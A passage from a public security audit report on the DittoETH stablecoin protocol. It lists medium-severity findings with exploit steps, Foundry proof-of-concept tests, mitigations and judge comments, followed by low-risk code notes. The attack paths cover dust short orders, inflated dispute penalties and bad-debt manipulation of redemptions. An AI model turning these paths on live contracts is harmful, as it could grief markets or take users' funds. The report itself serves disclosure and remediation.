b.oraclePrice = LibOracle.getPrice(asset);
❌ return bidMatchAlgo(asset, incomingBid, orderHintArray, b);
In the call to bidMatchAlgo()
, it goes through a loop and on each iteration, it first tries to match lowestSell
in line 155 below. lowestSell
is the current lowest bid or ask. After matching it compares the ercAmount
in the bid and lowest sell.
If the ercAmount
in the lowest sell exceeds that in the bid, the bid is filled and executes the else
statement in line 179 below. If the amount left in the lowest sell is >=
LibAsset.minAskEth(asset).mul(C.DUST_FACTOR)
, b.dustShortId
and b.dustAskId
are set to zero in line 191 below. This ensures the lowest sell isn’t deleted in the call to matchIncomingBid()
function.
155: matchlowestSell(asset, lowestSell, incomingBid, matchTotal);
156: if (incomingBid.ercAmount > lowestSell.ercAmount) {
157: incomingBid.ercAmount -= lowestSell.ercAmount;
158: lowestSell.ercAmount = 0;
159: if (lowestSell.isShort()) {
160: b.matchedShortId = lowestSell.id;
161: b.prevShortId = lowestSell.prevId;
162: LibOrders.matchOrder(s.shorts, asset, lowestSell.id);
163: _shortDirectionHandler(asset, lowestSell, incomingBid, b);
164: } else {
165: b.matchedAskId = lowestSell.id;
166: LibOrders.matchOrder(s.asks, asset, lowestSell.id);
167: b.askId = lowestSell.nextId;
168: }
169: } else {
170: if (incomingBid.ercAmount == lowestSell.ercAmount) {
171: if (lowestSell.isShort()) {
172: b.matchedShortId = lowestSell.id;
173: b.prevShortId = lowestSell.prevId;
174: LibOrders.matchOrder(s.shorts, asset, lowestSell.id);
175: } else {
176: b.matchedAskId = lowestSell.id;
177: LibOrders.matchOrder(s.asks, asset, lowestSell.id);
178: }
179: } else {
180: lowestSell.ercAmount -= incomingBid.ercAmount;
181: if (lowestSell.isShort()) {
182: b.dustShortId = lowestSell.id;
183: STypes.Order storage lowestShort = s.shorts[asset][lowestSell.id];
184: lowestShort.ercAmount = lowestSell.ercAmount;
185: } else {
186: b.dustAskId = lowestSell.id;
187: s.asks[asset][lowestSell.id].ercAmount = lowestSell.ercAmount;
188: }
189: // Check reduced dust threshold for existing limit orders
190: if (lowestSell.ercAmount.mul(lowestSell.price) >= LibAsset.minAskEth(asset).mul(C.DUST_FACTOR)) {
191: b.dustShortId = b.dustAskId = 0;
192: }
193: }
194: incomingBid.ercAmount = 0;
195: return matchIncomingBid(asset, incomingBid, matchTotal, b);
196: }
197: } else {
If the amount in lowestSell
is less than LibAsset.minAskEth(asset).mul(C.DUST_FACTOR)
, matchIncomingBid()
deletes in the code section below.
if (b.dustAskId > 0) {
IDiamond(payable(address(this)))._cancelAsk(asset, b.dustAskId);
} else if (b.dustShortId > 0) {
IDiamond(payable(address(this)))._cancelShort(asset, b.dustShortId);
}
LibAsset.minAskEth(asset).mul(C.DUST_FACTOR)
translates to minAskEth/2
because C.DUST_FACTOR
is a constant and is 0.5 ether. So if a ShortOrder
has minAskEth/2
it won’t be deleted.
- A
ShortRecord
can be exited with the id of a cancelledShortOrder
that still points to it.
When a call is made to the exitShortWallet()
or exitShortErcEscrowed()
function, shortOrderId
is passed which is expected to be the order id of the ShortRecord
currently being exited. exitShortWallet()
function calls checkShortMinErc()
and passes the shortOrderId
.
LibSRUtil.checkShortMinErc({
asset: asset,
initialStatus: initialStatus,
shortOrderId: shortOrderId,
shortRecordId: id,
shorter: msg.sender
});
In the call to checkShortMinErc()
, the shortOrderId
is verified in line 94 below by checking if the shortOrder
currently points to ShortRecord
or if its address points to the shorter
, i.e. the owner of the ShortRecord
.
091: if (initialStatus == SR.PartialFill) {
092: // Verify shortOrder
093: STypes.Order storage shortOrder = s.shorts[asset][shortOrderId];
094: if (shortOrder.shortRecordId != shortRecordId || shortOrder.addr != shorter) revert Errors.InvalidShortOrder();
095:
096: if (shortRecord.status == SR.Closed) {
097: // Check remaining shortOrder
098: if (shortOrder.ercAmount < minShortErc) {
099: // @dev The resulting SR will not have PartialFill status after cancel
100: LibOrders.cancelShort(asset, shortOrderId);
101: isCancelled = true;
102: }
103: } else {
104: // Check remaining shortOrder and remaining shortRecord
105: if (shortOrder.ercAmount + shortRecord.ercDebt < minShortErc) revert Errors.CannotLeaveDustAmount();
106: }
107: } else if (shortRecord.status != SR.Closed && shortRecord.ercDebt < minShortErc) {
108: revert Errors.CannotLeaveDustAmount();
109: }
Note: it doesn’t check if the ShortOrder
is cancelled. This means we can use a cancelled ShortOrder
that points to the ShortRecord
and is owned by the owner of the ShortRecord
being exited.
A malicious user can use these two properties of the codebase to create a ShortOrder
that has minAskEth/2
as ercAmount
and 0
debt in its ShortRecord
by following these setps:
- Create 1
shortOrder
with address A and another with address B. They shouldn’t get matched. - Cancel address A’s
shortOrder
than cancel address B’s. This order is strict and is to ensure Address B’sShortOrder
is reused before address A’s. - Create another
ShortOrder
with address A of 3000 DUSD that doesn’t get matched. This short will reuse the id of theShortRecord
associated with its firstShortOrder
but will reuse address B’sShortOrder
as itsShortOrder
. This leaves address A’s formerShortOrder
cancelled but still pointing to itsShortRecord
. - Create a Bid of
3000 - minAskEth/2 DUSD
to match theShortOrder
and leaveminAskEth/2
in theShortOrder
. This also lets theShortOrder
have aPartiallyFilled
status to pass the check on line 91 above. - Exit the
ShortOrder
with3000 - minAskEth/2
DUSD asbuybackAmount
and the former id of address A’s cancelledShortOrder
. ThebuybackAmount
is the amount of debt (DUSD) to pay back. So we’ll be paying everything back. - After paying back we’ll have an empty
ShortRecord
and theShortOrder
will have an ercAmount ofminAskEth/2
.
If the minAskEth
is small, we’ll end up creating small ShortOrder
s in the market. ShortOrders
like this may make a transaction trying to fill a large order run out of gas and may disincentivize liquidators from liquidating them if they become liquidatable.
Impact
The issue above has the following effects:
- Large orders may run out of gas if a malicious user puts many orders with
minAskEth/2
erc amounts on the market. - Liquidators are disincentivized from liquidating them because of their small amounts.
Proof of Concept
The test below can be run in the Shorts.t.sol file. It shows how a malicious user can create a ShortOrder
with a small amount.
Make sure to import the library below:
import {STypes, MTypes, O, SR} from "contracts/libraries/DataTypes.sol";
function test_CreateTinySR() public {
// create two short orders
fundLimitShortOpt(0.5 ether, 2000 ether, receiver);
fundLimitShortOpt(1 ether, 5000 ether, sender);
vm.prank(sender);
cancelShort(101); // cancel sender's short order so it won't be the first reused order
vm.startPrank(receiver);
cancelShort(100); // cancel receiver's short order so it will be the first reused order
vm.stopPrank();
// 1. Create a short add it to the market, the short reuses id 100 (receiver's former short).
// 2. Create a bid and let it match the short leaving minAskEth/2 i.e. minAskEth*dustFactor.
// The dust factor is 0.5.
uint minAskEth = diamond.getAssetNormalizedStruct(asset).minAskEth;
uint88 debt = uint88(3000 ether - minAskEth/2);
fundLimitShortOpt(1 ether, 3000 ether, sender);
fundLimitBidOpt(1 ether, debt, receiver);
// The sender's Short Record is reused and partially filled. It also has a new short Order.
// The old cancelled short Order still references this ShortRecord.
STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
assertTrue(short.status == SR.PartialFill);
// The Short Record's new Short Order
STypes.Order[] memory shortOrders = getShorts();
assertEq(shortOrders.length, 1);
assertEq(shortOrders[0].id, 100);
assertEq(shortOrders[0].ercAmount, minAskEth/2); // order has minAsk/2
// give sender the amount needed to exit
deal(asset, sender, debt);
vm.prank(sender);
// exit with the old short order id which has > minShortErc
diamond.exitShortWallet(asset, C.SHORT_STARTING_ID, debt, 101);
// short Order still exists
shortOrders = getShorts();
assertEq(shortOrders[0].id, 100);
assertEq(shortOrders[0].ercAmount, minAskEth/2);
// short Record has been closed and will only be filled up to minAskEth/2
short = getShortRecord(sender, C.SHORT_STARTING_ID);
assertEq(uint(short.status), uint(SR.Closed));
}
Recommended Mitigation Steps
Consider checking if the ShortOrder
being validated in checkShortMinErc()
is cancelled.
- if (shortOrder.shortRecordId != shortRecordId || shortOrder.addr != shorter) revert Errors.InvalidShortOrder();
+ if (shortOrder.shortRecordId != shortRecordId || shortOrder.addr != shorter || shortOrder.orderType == O.Cancelled) revert Errors.InvalidShortOrder();
Assessed type
DoS
ditto-eth (DittoETH) confirmed and commented:
I think the new check should be
shortOrder.orderType != O.LimitShort
, but otherwise great find.
hansfriese (judge) decreased severity to Medium and commented:
Medium is more appropriate as there is no direct fund loss.
[M-07] Using cached price to create a proposal reduce the efficacity of redemptions for asset peg
Submitted by Infect3d, also found by klau5, XDZIBECX, falconhoof, Evo, ilchovski, LinKenji, foxb868, and nonseodion
One of the conditions for updating oracle prices in Ditto is when an action related to shorts is executed. This is important because, in the event of high volatility, shorts must be closed out before bad debt occurs in the protocol. While liquidations does update the oracle before processing the short, this is not the case for redemptions.
Redemptions, as liquidations, play a central role in Ditto. By allowing users to redeem shorts with poor collateralization for a 1:1 exchange rate of the asset, Ditto is able to maintain a stable peg for its pegged asset. For this reason, it is important to reduce the pricing delay for the redeems, as much as for the liquidations.
File: contracts\facets\RedemptionFacet.sol
56: function proposeRedemption(
57: address asset,
58: MTypes.ProposalInput[] calldata proposalInput,
59: uint88 redemptionAmount,
60: uint88 maxRedemptionFee
61: ) external isNotFrozen(asset) nonReentrant {
...:
...: //...
74:
75:⚠ p.oraclePrice = LibOracle.getPrice(p.asset); //<@ getting cached price
76:
77: bytes memory slate;
78: for (uint8 i = 0; i < proposalInput.length; i++) {
79: p.shorter = proposalInput[i].shorter;
80: p.shortId = proposalInput[i].shortId;
81: p.shortOrderId = proposalInput[i].shortOrderId;
82: // @dev Setting this above _onlyValidShortRecord to allow skipping
83: STypes.ShortRecord storage currentSR = s.shortRecords[p.asset][p.shorter][p.shortId];
84:
85: /// Evaluate proposed shortRecord
86:
87: if (!validRedemptionSR(currentSR, msg.sender, p.shorter, minShortErc)) continue;
88:
89: currentSR.updateErcDebt(p.asset);
90:⚠ p.currentCR = currentSR.getCollateralRatio(p.oraclePrice); //<@ Collateral ratio calculated using cached price
91:
92: // @dev Skip if proposal is not sorted correctly or if above redemption threshold
93:❌ if (p.previousCR > p.currentCR || p.currentCR >= C.MAX_REDEMPTION_CR) continue; //<@
Impact
If the cached price is not reflective of the current market price, the protocol may either overvalue or undervalue the collateral backing shorts. The usage of cached prices in the proposeRedemption
function, as opposed to real-time or recently updated prices will affect the effectiveness of the redemption process in maintaining the asset’s peg in periods of high volatility.
Recommended Mitigation Steps
Do not use cached price for redemptions, but rather an updated price through LibOracle::getSavedOrSpotOraclePrice
, for example.
Assessed type
Oracle
raymondfam (lookout) commented:
Oracle price is cached to 15m, mostly done to allow the hint system to work. Will let sponsor to assess the severity of the issue.
ditto-eth (DittoETH) confirmed
[M-08] If a redemption has N
disputable shorts, it is possible to dispute N-1
times the redemption to maximize the penalty
Submitted by Infect3d
Ditto is a decentralized CDP protocol allowing users to get stablecoins (called dUSD here) against LST (Liquid Staking Tokens like stETH or rETH) collateral. Depositing LST grant dETH, a shares representing the value deposited in ETH. Users can then open different kind of positions: bids, asks or shorts, each one having its own orderbook.
Ditto implemented a mechanism called Redemption, idea borrowed from Liquity. Redemption allows anyone to redeem dUSD for a value of exactly 1 USD by calling out shorts with very bad CR (collateral ratio) and closing them. This helps the protocol to keep a healthy global market CR, shorters to not be liquidated, and dUSD holders to redeem dUSD with no loss in case of dUSD trading below 1 USD.
Users can propose multiple shorts to be redeemed at once if they meet certain conditions (see Constraints in doc). The shorts must be sorted from lowest CR to highest CR, and all CRs must be below a CR of 2. If a proposal do not properly follow these rules, anyone can dispute the proposal by showing a proof-short: all proposal shorts with a CR higher than the proof become invalid.
For each invalid short, a penalty is applied to the redeemer (and awarded to the disputer)
The penalty calculation is based on the CR difference between the disputeCR
(proof) and the the currentProposal.CR
(lowest invalid CR):
Note: please see scenario in warden’s original submission.
The issue is located in this part of the mechanism and is pretty easy to understand.
Let’s imagine 4 shorts in a list of shorts: … < CR1 < CR2 < CR3 < CR4 <
…
CR1 = 1.1, CR2 = 1.2, CR3 = 1.3, CR4 = 1.4
, and all have an ercDebt
of 1 ETH.
Redeemer propose [CR2, CR3, CR4]
to redeem.
Disputer sees that there is in fact CR1 that is lower than all the proposed shorts.
Disputer could dispute the proposal by giving CR1 as a proof, and CR2 as the invalid CR, which would also invalid all higher CRs in the proposal. This would give (let’s take callerFeePct
value from tests, 0.005 or 0.5%):
penaltyPct =
min( max(0.005, (1.2 - 1.1)/1.2 ), 0.33) = min( max(0.005, 0.091), 0.33) = 0.091
.penaltyAmt =
(1 + 1 + 1)ETH * 0.091 = 3 * 0.091 = 0.273 ETH
.
The vulnerability lies in the fact that the disputer can dispute this proposal 3 times:
- 1st: dispute CR4 with CR1.
- 2nd: dispute CR3 with CR1.
- 3rd: dispute CR2 with CR1.
By doing this, the disputer will get penalty applied 3 times, and in some case, the total penalty using this trick will be higher than the penalty when disputing the whole proposal at once, as shown in the coded proof of concept.
For CR1:
penaltyPct =
min( max(0.005, (1.4 - 1.1)/1.4 ), 0.33) = 0.214
.penaltyAmt =
1 ETH * 0.214 = 0.214 ETH
.
For CR2:
penaltyPct =
min( max(0.005, (1.3 - 1.1)/1.3 ), 0.33) = 0.142
.penaltyAmt =
1 ETH * 0.214 = 0.142 ETH
.
For CR3:
penaltyPct =
min( max(0.005, (1.2 - 1.1)/1.2 ), 0.33) = 0.091
.penaltyAmt =
1 ETH * 0.091 =
0.091 ETH
.
sum of penaltyAmt = 0.447 ETH
.
We can see here how more beneficial it to adopt the second strategy.
Impact
Higher penalty than expected for redeemer, higher reward for disputer.
Proof of Concept
Copy this gist to test/Redemption.t.sol
and run the tests by executing forge test -vvv --mt AuditDisputeRedemption
.
You’ll get that output, showing that disputing redemptions one by one give a higher penalty:
Running 2 tests for test/Redemption.t.sol:RedemptionTest
[PASS] test_AuditDisputeRedemptionAllAtOnce() (gas: 2213036)
Logs:
redeemer reward: 7.69230769230769231e21
[PASS] test_AuditDisputeRedemptionOneByOne() (gas: 2250699)
Logs:
redeemer reward: 3.846153846153846155e21
redeemer reward: 4.166666666666666665e21
Recommended Mitigation Steps
If a user gives N
as the incorrectIndex
in the disputed proposal, knowing that the proposal is sorted from lowest to highest CR, ensure that proposal[N-1].CR <= disputeCR
(revert in that case).
Assessed type
Math
ditto-eth (DittoETH) confirmed, but disagreed with severity and commented:
Really good find. Looks like the formula can be exploited to give a higher fee than intended. That said, I’m leaning more towards low/medium because the only effect is a higher fee for the disputer, incorrect proposals should happen very rarely from an honest user, and this doesn’t affect the redemption from working properly.
hansfriese (judge) decreased severity to Medium and commented:
I agree Medium is more appropriate.
[M-09] Valid redemption proposals can be disputed when bad debt occurs by applying it to a SR outside of the proposal
Submitted by Cosine, also found by 0xbepresent
Impact
When bad debt occurs in the system it is socialized among all short records by increasing the ercDebtRate
. At the next interaction with this short the updateErcDebt
function is called to apply the portion of bad debt to the short:
function updateErcDebt(STypes.ShortRecord storage short, address asset) internal {
AppStorage storage s = appStorage();
// Distribute ercDebt
uint64 ercDebtRate = s.asset[asset].ercDebtRate;
uint88 ercDebt = short.ercDebt.mulU88(ercDebtRate - short.ercDebtRate);
if (ercDebt > 0) {
short.ercDebt += ercDebt;
short.ercDebtRate = ercDebtRate;
}
}
As we can see the updateErcDebt
function has the mentioned properties. It increases the debt and therefore, influences the CR without updating the updatedAt
param. This enables the following attack path:
- User creates a valid redemption proposal.
- Bad debt occurs in the system.
- The attacker applies the bad debt to a short record that is not part of the proposal and by doing so falls below the CR of any of the SRs in the proposal.
- Attacker disputes the redemption proposal to receive the penalty fee.
The updateErcDebt
function is internal, but the proposeRedemption
function can be used to apply it on any SR.
Proof of Concept
The following POC can be implemented in the Redemption.t.sol
test file and showcases that the proposeRedemption
function can be used to apply bad debt to SRs without updating the updatedAt
parameter. That this can be misused to steal funds as shown with another POC in the mentioned report.
function test_proposeRedemption_does_update_updatedAt() public {
// setup
uint88 _redemptionAmounts = DEFAULT_AMOUNT * 2;
makeShorts({singleShorter: true});
skip(1 hours);
_setETH(1000 ether);
// propose a redemption
MTypes.ProposalInput[] memory proposalInputs =
makeProposalInputsForDispute({shortId1: C.SHORT_STARTING_ID, shortId2: C.SHORT_STARTING_ID + 1});
uint32 updatedAtBefore = getShortRecord(sender, C.SHORT_STARTING_ID).updatedAt;
vm.prank(receiver);
diamond.proposeRedemption(asset, proposalInputs, _redemptionAmounts, MAX_REDEMPTION_FEE);
uint32 updatedAtAfter = getShortRecord(sender, C.SHORT_STARTING_ID).updatedAt;
// updatedAt param was not updated
assertEq(updatedAtBefore, updatedAtAfter);
}
Recommended Mitigation Steps
Update the updatedAt
parameter every time the updateErcDebt
function is called, or/and call updateErcDebt
in the disputeRedemption
function on the SR at the incorrectIndex
before comparing the CRs.
Assessed type
Context
ditto-eth (DittoETH) confirmed
Low Risk and Non-Critical Issues
For this audit, 18 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by hihen received the top score from the judge.
The following wardens also submitted reports: Pechenite, oualidpro, slvDev, albahaca, cheatc0d3, 0xbepresent, serial-coder, 0xSecuri, Bube, pfapostol, nonseodion, Infect3d, Topmark, Rolezn, klau5, Bigsam, and caglankaan.
[01] Multiplication on the result of a division
Dividing a number by another often results in a loss of precision. Multiplying the result by another number increases the loss of precision, often significantly. For example: x*(y/z)
should be re-written as (x*z)/y
.
There are 3 instances:
LibOracle.sol (93-93, 141-141):
93: uint256 twapPriceNormalized = twapPrice * (1 ether / C.DECIMAL_USDC);
141: uint256 twapPriceNormalized = twapPrice * (1 ether / C.DECIMAL_USDC);
LibOrders.sol (47-47):
47: uint88 shares = eth * (timeTillMatch / 1 days);
[02] Events may be emitted out of order due to reentrancy
Ensure that events follow the best practice of check-effects-interaction, and are emitted before external calls.
BridgeRouterFacet.sol (72-72, 90-90, 122-122, 143-143):
/// @audit deposit() is called prior to this emission in deposit()
72: emit Events.Deposit(bridge, msg.sender, dethAmount);
/// @audit depositEth() is called prior to this emission in depositEth()
90: emit Events.DepositEth(bridge, msg.sender, dethAmount);
/// @audit withdraw() is called prior to this emission in withdraw()
122: emit Events.Withdraw(bridge, msg.sender, dethAmount, fee);
/// @audit withdraw() is called prior to this emission in withdrawTapp()
143: emit Events.WithdrawTapp(bridge, msg.sender, dethAmount);
ExitShortFacet.sol (75-75, 210-210):
/// @audit burnMsgSenderDebt() is called prior to this emission in exitShortWallet(), which will call `burnFrom()`
75: emit Events.ExitShortWallet(asset, msg.sender, id, buybackAmount);
/// @audit createForcedBid() is called prior to this emission in exitShort()
210: emit Events.ExitShort(asset, msg.sender, id, e.ercFilled);
PrimaryLiquidationFacet.sol (87-87):
/// @audit _performForcedBid() is called prior to this emission in liquidate(), which will call `createForcedBid()`
87: emit Events.Liquidate(asset, shorter, id, msg.sender, m.ercDebtMatched);
[03] Unsafe conversion from unsigned to signed values
The int
type in Solidity uses the two’s complement system, so it is possible to accidentally overflow a very large uint
to an int
, even if they share the same number of bytes (e.g. a uint256 number > type(uint128).max
will overflow a int256
cast).
Consider using the SafeCast library to prevent any overflows.
UniswapOracleLibrary.sol (62-62, 65-65):
/// @audit uint -> int
62: int24 tick = int24(tickCumulativesDelta / int32(secondsAgo));
/// @audit uint -> int
65: if (tickCumulativesDelta < 0 && (tickCumulativesDelta % int32(secondsAgo) != 0)) {
[04] Vulnerable versions of packages are being used
This project is using specific package versions which are vulnerable to the specific CVEs listed below. Consider switching to more recent versions of these packages that don’t have these vulnerabilities.
- CVE-2023-49798 - HIGH - (
@openzeppelin/contracts 4.9.4
): OpenZeppelin Contracts is a library for smart contract development. A merge issue when porting the 5.0.1 patch to the 4.9 branch caused a line duplication. In the version ofMulticall.sol
released in@openzeppelin/contracts@4.9.4
and@openzeppelin/contracts-upgradeable@4.9.4
, all subcalls are executed twice. Concretely, this exposes a user to unintentionally duplicate operations like asset transfers. The duplicated delegatecall was removed in version 4.9.5. The 4.9.4 version is marked as deprecated. Users are advised to upgrade. There are no known workarounds for this issue. - CVE-2023-40014 - MEDIUM - (
@openzeppelin/contracts >=4.0.0 <4.9.3
): OpenZeppelin Contracts is a library for secure smart contract development. Starting in version 4.0.0 and prior to version 4.9.3, contracts usingERC2771Context
along with a custom trusted forwarder may see_msgSender
returnaddress(0)
in calls that originate from the forwarder with calldata shorter than 20 bytes. This combination of circumstances does not appear to be common, in particular it is not the case forMinimalForwarder
from OpenZeppelin Contracts, or any deployed forwarder the team is aware of, given that the signer address is appended to all calls that originate from these forwarders. The problem has been patched in v4.9.3. - CVE-2023-34459 - MEDIUM - (
@openzeppelin/contracts >=4.7.0 <4.9.2
): OpenZeppelin Contracts is a library for smart contract development. Starting in version 4.7.0 and prior to version 4.9.2, when theverifyMultiProof
,verifyMultiProofCalldata
,procesprocessMultiProof
, orprocessMultiProofCalldat
functions are in use, it is possible to construct merkle trees that allow forging a valid multiproof for an arbitrary set of leaves. A contract may be vulnerable if it uses multiproofs for verification and the merkle tree that is processed includes a node with value 0 at depth 1 (just under the root). This could happen inadvertently for balanced trees with 3 leaves or less, if the leaves are not hashed. This could happen deliberately if a malicious tree builder includes such a node in the tree. A contract is not vulnerable if it uses single-leaf proving (verify
,verifyCalldata
,processProof
, orprocessProofCalldata
), or if it uses multiproofs with a known tree that has hashed leaves. Standard merkle trees produced or validated with the @openzeppelin/merkle-tree library are safe. The problem has been patched in version 4.9.2. Some workarounds are available. For those using multiproofs: When constructing merkle trees hash the leaves and do not insert empty nodes in your trees. Using the @openzeppelin/merkle-tree package eliminates this issue. Do not accept user-provided merkle roots without reconstructing at least the first level of the tree. Verify the merkle tree structure by reconstructing it from the leaves. - Global finding
[05] Critical functions should be controlled by time locks
It is a good practice to give time for users to react and adjust to critical changes. A timelock provides more guarantees and reduces the level of trust required, thus decreasing risk for users. It also indicates that the project is legitimate (less risk of a malicious owner making a sandwich attack on a user).
PrimaryLiquidationFacet.sol (122-124):
122: function _setLiquidationStruct(address asset, address shorter, uint8 id, uint16 shortOrderId)
123: private
124: returns (MTypes.PrimaryLiquidation memory)
[06] External function calls within loops
Calling external functions within loops can easily result in insufficient gas. This greatly increases the likelihood of transaction failures, DOS attacks, and other unexpected actions. It is recommended to limit the number of loops within loops that call external functions, and to limit the gas line for each external call.
There are 8 instances:
BidOrdersFacet.sol (145-145, 153-153, 195-195, 201-201):
/// @audit Calling `matchIncomingBid()` within `while` loop, it will trigger an external call - `_cancelAsk()`
145: return matchIncomingBid(asset, incomingBid, matchTotal, b);
/// @audit Calling `matchIncomingBid()` within `while` loop, it will trigger an external call - `_cancelAsk()`
153: return matchIncomingBid(asset, incomingBid, matchTotal, b);
/// @audit Calling `matchIncomingBid()` within `while` loop, it will trigger an external call - `_cancelAsk()`
195: return matchIncomingBid(asset, incomingBid, matchTotal, b);
/// @audit Calling `matchIncomingBid()` within `while` loop, it will trigger an external call - `_cancelAsk()`
201: return matchIncomingBid(asset, incomingBid, matchTotal, b);
LibOrders.sol (579-579, 591-591, 613-613, 618-618):
/// @audit Calling `matchIncomingSell()` within `while` loop, it will trigger an external call - `_updateYieldDiamond()`
579: matchIncomingSell(asset, incomingAsk, matchTotal);
/// @audit Calling `matchIncomingSell()` within `while` loop, it will trigger an external call - `_updateYieldDiamond()`
591: matchIncomingSell(asset, incomingAsk, matchTotal);
/// @audit Calling `matchIncomingSell()` within `while` loop, it will trigger an external call - `_updateYieldDiamond()`
613: matchIncomingSell(asset, incomingAsk, matchTotal);
/// @audit Calling `matchIncomingSell()` within `while` loop, it will trigger an external call - `_updateYieldDiamond()`
618: matchIncomingSell(asset, incomingAsk, matchTotal);
[07] Use descriptive constant instead of 0
as a parameter
Passing 0
or 0x0
as a function argument can sometimes result in a security issue (e.g. passing zero as the slippage parameter). A historical example is the infamous 0x0
address bug where numerous tokens were lost. This happens because 0
can be interpreted as an uninitialized address
, leading to transfers to the 0x0
address
, effectively burning tokens. Moreover, 0
as a denominator in division operations would cause a runtime exception. It’s also often indicative of a logical error in the caller’s code.
Consider using a constant variable with a descriptive name, so it’s clear that the argument is intentionally being used, and for the right reasons.
ShortOrdersFacet.sol (48-48):
48: incomingShort.shortRecordId = LibShortRecord.createShortRecord(asset, msg.sender, SR.Closed, 0, 0, 0, 0, 0);
[08] Code does not follow the best practice of check-effects-interaction
Code should follow the best-practice of check-effects-interaction, where state variables are updated before any external calls are made. Doing so prevents a large class of reentrancy bugs.
There are 30 instances:
BidOrdersFacet.sol (157-157, 158-158, 160-160, 161-161, 165-165, 167-167, 172-172, 173-173, 176-176, 180-180, 182-182, 184-184, 186-186, 187-187, 191-191, 191-191, 194-194):
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
157: incomingBid.ercAmount -= lowestSell.ercAmount;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
158: lowestSell.ercAmount = 0;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
160: b.matchedShortId = lowestSell.id;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
161: b.prevShortId = lowestSell.prevId;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
165: b.matchedAskId = lowestSell.id;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
167: b.askId = lowestSell.nextId;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
172: b.matchedShortId = lowestSell.id;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
173: b.prevShortId = lowestSell.prevId;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
176: b.matchedAskId = lowestSell.id;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
180: lowestSell.ercAmount -= incomingBid.ercAmount;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
182: b.dustShortId = lowestSell.id;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
184: lowestShort.ercAmount = lowestSell.ercAmount;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
186: b.dustAskId = lowestSell.id;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
187: s.asks[asset][lowestSell.id].ercAmount = lowestSell.ercAmount;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
191: b.dustShortId = b.dustAskId = 0;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
191: b.dustShortId = b.dustAskId = 0;
/// @audit `matchIncomingBid()` is called on line 145, triggering an external call - `_cancelAsk()`
194: incomingBid.ercAmount = 0;
ExitShortFacet.sol (56-56, 60-60, 64-64, 189-189, 190-190, 191-191, 199-199, 200-200, 207-207):
/// @audit `burnMsgSenderDebt()` is called on line 55, triggering an external call - `balanceOf()`
56: Asset.ercDebt -= buybackAmount;
/// @audit `burnMsgSenderDebt()` is called on line 55, triggering an external call - `balanceOf()`
60: s.vaultUser[Asset.vault][msg.sender].ethEscrowed += collateral;
/// @audit `burnMsgSenderDebt()` is called on line 55, triggering an external call - `balanceOf()`
64: short.ercDebt -= buybackAmount;
/// @audit `createForcedBid()` is called on line 187
189: e.ercFilled = e.buybackAmount - e.ercAmountLeft;
/// @audit `createForcedBid()` is called on line 187
190: Asset.ercDebt -= e.ercFilled;
/// @audit `createForcedBid()` is called on line 187
191: s.assetUser[e.asset][msg.sender].ercEscrowed -= e.ercFilled;
/// @audit `createForcedBid()` is called on line 187
199: short.collateral -= e.ethFilled;
/// @audit `createForcedBid()` is called on line 187
200: short.ercDebt -= e.ercFilled;
/// @audit `createForcedBid()` is called on line 187
207: VaultUser.ethEscrowed -= e.collateral - e.ethFilled;
PrimaryLiquidationFacet.sol (190-190, 193-193, 194-194, 199-199):
/// @audit `createForcedBid()` is called on line 188
190: m.ercDebtMatched = m.short.ercDebt - ercAmountLeft;
/// @audit `createForcedBid()` is called on line 188
193: s.assetUser[m.asset][address(this)].ercEscrowed -= m.ercDebtMatched;
/// @audit `createForcedBid()` is called on line 188
194: s.asset[m.asset].ercDebt -= m.ercDebtMatched;
/// @audit `createForcedBid()` is called on line 188
199: m.gasFee = uint88(gasUsed * block.basefee); // @dev(safe-cast)
[09] Names of private
/internal
functions should be prefixed with an underscore
It is recommended by the Solidity Style Guide.
There are 65 instances:
BidOrdersFacet.sol (130-135, 215-220, 275-280):
130: function bidMatchAlgo(
131: address asset,
132: STypes.Order memory incomingBid,
133: MTypes.OrderHint[] memory orderHintArray,
134: MTypes.BidMatchAlgo memory b
135: ) private returns (uint88 ethFilled, uint88 ercAmountLeft) {
215: function matchlowestSell(
216: address asset,
217: STypes.Order memory lowestSell,
218: STypes.Order memory incomingBid,
219: MTypes.Match memory matchTotal
220: ) private {
275: function matchIncomingBid(
276: address asset,
277: STypes.Order memory incomingBid,
278: MTypes.Match memory matchTotal,
279: MTypes.BidMatchAlgo memory b
280: ) private returns (uint88 ethFilled, uint88 ercAmountLeft) {
BridgeRouterFacet.sol (148-148):
148: function maybeUpdateYield(uint256 vault, uint88 amount) private {
ExitShortFacet.sol (213-213):
213: function getCollateralRatioNonPrice(STypes.ShortRecord storage short) internal view returns (uint256 cRatio) {
PrimaryLiquidationFacet.sol (229-229):
229: function min88(uint256 a, uint88 b) private pure returns (uint88) {
RedemptionFacet.sol (31-34, 382-384):
31: function validRedemptionSR(STypes.ShortRecord storage shortRecord, address proposer, address shorter, uint256 minShortErc)
32: internal
33: view
34: returns (bool)
382: function calculateRedemptionFee(address asset, uint88 colRedeemed, uint88 ercDebtRedeemed)
383: internal
384: returns (uint88 redemptionFee)
LibBridgeRouter.sol (21-21, 39-41, 113-113, 144-144, 198-198):
21: function addDeth(uint256 vault, uint256 bridgePointer, uint88 amount) internal {
39: function assessDeth(uint256 vault, uint256 bridgePointer, uint88 amount, address rethBridge, address stethBridge)
40: internal
41: returns (uint88)
